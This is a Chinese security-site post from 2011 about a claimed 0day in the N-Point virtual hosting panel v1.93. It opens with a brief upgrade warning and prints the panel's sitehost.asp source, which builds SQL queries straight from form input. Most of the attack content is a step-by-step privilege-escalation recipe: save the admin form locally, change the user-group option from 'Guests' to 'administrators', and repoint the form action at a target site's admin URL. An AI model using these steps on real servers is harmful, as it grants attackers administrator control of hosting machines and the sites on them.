关于不能使用N点1.93版本及前台的建议_npoint免费版_黑客防线网安服务器维护基地--Powered by WWW.RONGSEN.COM.CN

关于不能使用N点1.93版本及前台的建议

作者:黑客防线网安网站维护基地 来源:黑客防线网安网站维护基地 浏览次数:0

本篇关键词:N点前台管理系统
黑客防线网安网讯:N点虚拟主机系统致命漏洞0day
声明官方已经出了最新版本告知!请大家升级到最新版本!不要用低级版本造成自己服务器无故被入侵!

N点虚拟主机系统致命漏洞0day

声明官方已经出了最新版本告知!请大家升级到最新版本!不要用低级版本造成自己服务器无故被入侵
漏洞描述:本地修改构造代码提升管理员权限漏洞
分析漏洞:sitehost.asp他致命漏洞所在的页面
  1. <!--#include file="sessioncolck.asp" --> 
  2. <!--#include file="pagesession/CS1.asp" --> 
  3. <!--#include file="../inc/conn.asp" --> 
  4. <!--#include file="../inc/char.asp" --> 
  5. <!--#include file="../inc/function.asp" --> 
  6. <html> 
  7. <head> 
  8. <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
  9. <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> 
  10. <title>Powered By npoint</title> 
  11. <link href="../css/style.css" rel="stylesheet" type="text/css" /> 
  12. <script src="../js/ajax_x.js" type="text/javascript"></script> 
  13. <script src="../js/alt.js" type="text/javascript"></script> 
  14. </head> 
  15. <body> 
  16. <%  
  17. rs.open "Select * from hostcs",conn,1,1  
  18. ftpsoft=rs("ftpsoft") 'FTP软件  
  19. hostdomain=rs("hostdomain") '赠送域名  
  20. diskpe=rs("diskpe") '磁盘配额  
  21. ftpid=rs("ftpid") 'IISFTP标识符  
  22. doc=rs("doc") '默认文档  
  23. servupath=rs("servupath") 'Serv-u/Gene6 安装路径  
  24. servuid=rs("servuid") 'Serv-U 7.X ID号  
  25. servudomain=rs("servudomain") 'Serv-u7.x/Gene6 域名称  
  26. webpage=rs("webpage") '开设欢迎页  
  27. appsitenum=rs("appsitenum") '超过多少网站 自动创建程序池  
  28. yncreateapploop=rs("yncreateapploop") '是否自动创建程序池  
  29. dcapppool=rs("dcapppool") '当前自动创建完的程序池  
  30. appbtitle=rs("appbtitle") '自动创建程序池标头  
  31. rs.close  
  32. set iishost=server.createobject("npoint.host") '加载组件  
  33. if request.QueryString("action")="kshost" then  
  34. '叛断输入的域名是否合法或有带WWW  
  35. if trim(request.form("domain"))<>"" then  
  36. if ubound(split(trim(request.form("domain")),"."))<1 then  
  37. call ErrMsgBox("操作失败.\n\n1.绑定的域名不合法,请更换")  
  38. response.End()  
  39. else  
  40. if LCase(split(trim(request.form("domain")),".")(0))="www" then  
  41. call ErrMsgBox("操作失败.\n\n1.绑定的域名不包括www,请更换")  
  42. response.End()  
  43. end if  
  44. end if  
  45. end if  
  46. '叛断FTP账号是否合法  
  47. chkftp=chk_ftpuser(trim(request.form("FTPuser")))  
  48. if chkftp<>"1" then  
  49. call ErrMsgBox(chkftp)  
  50. response.End()  
  51. end if  
  52. '叛断域名是否存在  
  53. if trim(request.form("domain"))<>"" then  
  54. rs.open "Select host_domain,todomain from sitehost",conn,1,1  
  55. if rs.bof and rs.eof then  
  56. rs.close  
  57. else  
  58. for i=1 to rs.recordcount  
  59. if rs("host_domain")="" then  
  60. H_D="" 
  61. else  
  62. H_D=rs("host_domain") & "|"  
  63. end if  
  64. if rs("todomain")="" then  
  65. T_D="" 
  66. else  
  67. T_D=rs("todomain") & "|"  
  68. end if  
  69. All_domainAll_domain=All_domain & H_D & T_D  
  70. rs.movenext  
  71. next  
  72. rs.close  
  73. if All_domain<>"" then  
  74. Fall_domain=split(mid(All_domain,1,len(All_domain)-1),"|")  
  75. for s=0 to ubound(Fall_domain)  
  76. if Fall_domain(s)=trim(request.form("domain")) or Fall_domain(s)="www."&trim(request.form("domain")) then  
  77. call ErrMsgBox("操作失败.\n\n1.绑定域名已存在,请更换.")  
  78. response.End()  
  79. end if  
  80. next  
  81. end if  
  82. end if  
  83. end if  
  84. '叛断FTP账号是否存在  
  85. rs.open "Select FTPuser from sitehost where FTPuser='"&trim(request.form("FTPuser"))&"'",conn,1,1  
  86. if rs.bof and rs.eof then  
  87. rs.close  
  88. '设置站点标识符ID号  
  89. rs.open "Select * from sitehost order by id desc",conn,1,1  
  90. if rs.bof and rs.eof then  
  91. ifid=2 '站点标识符  
  92. else  
  93. ifid=rs("ID")+1  
  94. end if  
  95. rs.close  
  96. '计算到期时间  
  97. sdate=date() '开设时间  
  98. if ubound(split(sdate,"-"))>1 then  
  99. d_fgh="-" 
  100. elseif ubound(split(sdate,"/"))>1 then  
  101. d_fgh="/" 
  102. elseif ubound(split(sdate,"."))>1 then  
  103. d_fgh="." 
  104. end if  
  105. Fjdate=split(sdate,d_fgh)  
  106. Tyear=int(Fjdate(0))+int(request.form("Eyear"))  
  107. Tmone=int(Fjdate(1))+int(request.form("Emone"))  
  108. if int(Fjdate(2))=31 then  
  109. dayx=int(Fjdate(2))-1  
  110. else  
  111. dayx=int(Fjdate(2))  
  112. end if  
  113. if Tmone>12 then  
  114. if Tmone-12=2 and dayx=29 then  
  115. Edate=Tyear+1 & d_fgh & Tmone-12 & d_fgh & "28" '到期时间  
  116. else  
  117. Edate=Tyear+1 & d_fgh & Tmone-12 & d_fgh & dayx '到期时间   
  118. end if  
  119. else  
  120. if Tmone=2 and dayx=29 then  
  121. Edate=Tyear & d_fgh & Tmone & d_fgh & "28" '到期时间  
  122. else  
  123. Edate=Tyear & d_fgh & Tmone & d_fgh & dayx '到期时间  
  124. end if  
  125. end if  
  126. '自动创建程序池或独立程序池  
  127. if yncreateapploop=1 then  
  128. if request.Form("autocreateapp")=0 then  
  129. Appstate=iishost.appstateyn(appbtitle&"_"&dcapppool)'叛断进程池是否存在 1为存在 0为不存在  
  130. if Appstate=1 then  
  131. uidapple=appbtitle&"_"&dcapppool  
  132. rs.open "Select apppool from sitehost where RID=1 and apppool='"&uidapple&"'",conn,1,1  
  133. if rs.bof and rs.eof then  
  134. rs.close  
  135. iisapppool_B=uidapple 
  136. else  
  137. if int(rs.recordcount)>int(appsitenum-1) then  
  138. R=iishost.creatiisapp(appbtitle&"_"&dcapppool+1, "", "", "",1,"","")  
  139. if R=1 then  
  140. rs.close  
  141. conn.Execute("Update hostcs Set dcapppool='"&dcapppool+1&"'")  
  142. iisapppool_B=appbtitle&"_"&dcapppool+1  
  143. else  
  144. rs.close  
  145. rs.open "Select * from errorlist where errora='"&R&"'",conn,1,1  
  146. if rs.bof and rs.eof then  
  147. call SucBox("操作失败.\n\n错误代码:"&R,"sitehost.asp")  
  148. else  
  149. call SucBox("操作失败.\n\n错误代码:"&R&"\n\n错误提示:"&rs("errorlist"),"sitehost.asp")  
  150. end if  
  151. rs.close  
  152. response.End()  
  153. end if  
  154. else  
  155. iisapppool_B=uidapple 
  156. end if  
  157. end if  
  158. elseif Appstate=0 then  
  159. R=iishost.creatiisapp(appbtitle&"_"&dcapppool, "", "", "",1,"","")  
  160. if R=1 then  
  161. iisapppool_B=appbtitle&"_"&dcapppool  
  162. else  
  163. rs.open "Select * from errorlist where errora='"&R&"'",conn,1,1  
  164. if rs.bof and rs.eof then  
  165. call SucBox("操作失败.\n\n错误代码:"&R,"sitehost.asp")  
  166. else  
  167. call SucBox("操作失败.\n\n错误代码:"&R&"\n\n错误提示:"&rs("errorlist"),"sitehost.asp")  
  168. end if  
  169. rs.close  
  170. response.End()  
  171. end if  
  172. end if  
  173. elseif request.Form("autocreateapp")=1 then  
  174. R=iishost.creatiisapp(""&trim(request.form("FTPuser"))&"", "", "", "",1,"","")  
  175. if R=1 then  
  176. iisapppool_B=trim(request.form("FTPuser"))  
  177. else  
  178. rs.open "Select * from errorlist where errora='"&R&"'",conn,1,1  
  179. if rs.bof and rs.eof then  
  180. call SucBox("操作失败.\n\n错误代码:"&R,"sitehost.asp")  
  181. else  
  182. call SucBox("操作失败.\n\n错误代码:"&R&"\n\n错误提示:"&rs("errorlist"),"sitehost.asp")  
  183. end if  
  184. rs.close  
  185. response.End()  
  186. end if  
  187. end if  
  188. elseif yncreateapploop=0 then  
  189. iisapppool_B=trim(request.form("apppool"))  
  190. end if  
  191. '开设主机  
  192. R=iishost.createsite(ifid,ftpid,trim(request.form("FTPuser")),trim(request.form("FTPpass")),trim(request.form("domain")),hostdomain,doc,trim(request.form("IISnum")),trim(request.form("MAxnum")),trim(request.form("spanum")),trim(request.form("sitepath")),iisapppool_B,"","","",trim(request.form("rznum")),ftpsoft,servupath,trim(request.form("csnum")),servuid,servudomain,trim(request.form("userGroup")),diskpe,webpage)  
  193. if int(R)>1 then  
  194. todomain="" 
  195. if trim(request.form("domain"))<>"" then  
  196. host_domain=trim(request.form("domain"))&"|www."&trim(request.form("domain"))  
  197. else  
  198. host_domain="" 
  199. end if  
  200. '添加主机记录  
  201. ftppassword=iishost.Eduserpassword(trim(request.form("FTPpass")),1) '加密FTP密码  
  202. if yncreateapploop=1 then  
  203. conn.Execute("insert into sitehost(RID,Ifid,FTPuser,FTPpass,fupath,host_domain,todomain,sitedoc,spanum,IISnum,MAxnum,tfordnum,sitepath,apppool,rznum,csnum,userGroup,Azip,Azipnum,Xzip,Xzipnum,sitestate,Sdate,Edate,appdlnum,appautocreat) values(1,'"&R&"','"&trim(request.form("FTPuser"))&"','"&ftppassword&"',1,'"&host_domain&"','"&todomain&"','"&doc&"',"&trim(request.form("spanum"))&","&trim(request.form("IISnum"))&","&trim(request.form("MAxnum"))&","&trim(request.form("tfordnum"))&",'"&trim(request.form("sitepath"))&"','"&iisapppool_B&"',"&trim(request.form("rznum"))&","&trim(request.form("csnum"))&",'"&trim(request.form("userGroup"))&"',"&trim(request.form("Azip"))&","&trim(request.form("Azipnum"))&","&trim(request.form("Xzip"))&","&trim(request.form("Xzipnum"))&",1,'"&sdate&"','"&Edate&"',"&trim(request.Form("autocreateapp"))&","&yncreateapploop&")")  
  204. else  
  205. conn.Execute("insert into sitehost(RID,Ifid,FTPuser,FTPpass,fupath,host_domain,todomain,sitedoc,spanum,IISnum,MAxnum,tfordnum,sitepath,apppool,rznum,csnum,userGroup,Azip,Azipnum,Xzip,Xzipnum,sitestate,Sdate,Edate,appdlnum,appautocreat) values(1,'"&R&"','"&trim(request.form("FTPuser"))&"','"&ftppassword&"',1,'"&host_domain&"','"&todomain&"','"&doc&"',"&trim(request.form("spanum"))&","&trim(request.form("IISnum"))&","&trim(request.form("MAxnum"))&","&trim(request.form("tfordnum"))&",'"&trim(request.form("sitepath"))&"','"&iisapppool_B&"',"&trim(request.form("rznum"))&","&trim(request.form("csnum"))&",'"&trim(request.form("userGroup"))&"',"&trim(request.form("Azip"))&","&trim(request.form("Azipnum"))&","&trim(request.form("Xzip"))&","&trim(request.form("Xzipnum"))&",1,'"&sdate&"','"&Edate&"',0,"&yncreateapploop&")")  
  206. end if  
  207. '更新站点数量  
  208. conn.Execute("Update sitepath Set sitenumsitenum=sitenum+1 Where sitepath='"&trim(request.form("sitepath"))&"\"&"'")  
  209. call SucBox("操作成功.","adminsitehost.asp")  
  210. else  
  211. if yncreateapploop=1 and trim(request.Form("autocreateapp"))=1 then  
  212. X=iishost.deliisapp(""&trim(request.form("FTPuser"))&"") '发生错误 - 删除独立程序池  
  213. end if  
  214. rs.open "Select * from errorlist where errora='"&R&"'",conn,1,1  
  215. if rs.bof and rs.eof then  
  216. call SucBox("操作失败.\n\n错误代码:"&R,"sitehost.asp")  
  217. else  
  218. call SucBox("操作失败.\n\n错误代码:"&R&"\n\n错误提示:"&rs("errorlist"),"sitehost.asp")  
  219. end if  
  220. rs.close  
  221. end if  
  222. else  
  223. rs.close  
  224. call ErrMsgBox("操作失败.\n\n1.FTP账号已存在,请更换.")  
  225. end if  
  226. end if  
  227. %> 
  228.  
  229. ……省略部分代码  
  230. <tr> 
  231. <td height="22" class="site_bg_bs" scope="col"> 用户权限:</td> 
  232. <td class="site_bg_bs" scope="col"><input type="radio" name="csnum" id="radio" value="1"><span class="syt_1">读取</span> | <input type="radio" name="csnum" id="radio2" value="2"><span class="syt_1">读取/写入</span> | <input name="csnum" type="radio" id="radio3" value="3" checked><span class="syt_1">读取/写入/删除</span> | <input type="radio" name="csnum" id="radio4" value="4"><span class="syt_1">读取/写入/删除/运行</span></td> 
  233. </tr> 
  234. <tr> 
  235. <td height="22" class="site_bg_bs" scope="col"> 用户组:</td> 
  236. <td class="site_bg_bs" scope="col"><select name="userGroup" class="input_to_to" id="userGroup"> 
  237. <option value="" selected>无用户组</option> 
  238. <option value="Guests">Guests</option> 
  239. </select></td> 
  240. </tr> 
  241.  
  242.  
  243. ……省略部分代码  

行<option value="Guests">Guests</option> 致命代码

看到以上分析大家明白了吗? 不明白没问题 继续分解

等到管理密码 直接 进入 开空间 也就 http://www.***.com/admin/sitehost.asp

现在大家 先别急 右键 查看代码 将代码保存 到 本地 或直接另存为

保存到 本地后 进行代码修改 。Ctrl +F 进行查找 <option value="Guests">Guests</option>

将 <option value="Guests">Guests</option> Guests 修改为 administrators

<option value="administrators">administrators</option>

看到现在了明白了吧? 继续

然后 Ctrl + F 查找 <form action="?action=kshost" method="post" id="from1" name="form1" onSubmit="return checkform(this)">
修改为 <form action="http://www.***.com/admin/sitehost.asp?action=kshost" method="post" id="from1" name="form1" onSubmit="return checkform(this)">


    黑客防线网安服务器维护方案本篇连接:http://www.rongsen.com.cn/show-4663-1.html
网站维护教程更新时间:2011-02-18 17:09:59  【打印此页】  【关闭
我要申请本站N点 | 黑客防线官网 |  
专业服务器维护及网站维护手工安全搭建环境,网站安全加固服务。黑客防线网安服务器维护基地招商进行中!QQ:29769479

footer  footer  footer  footer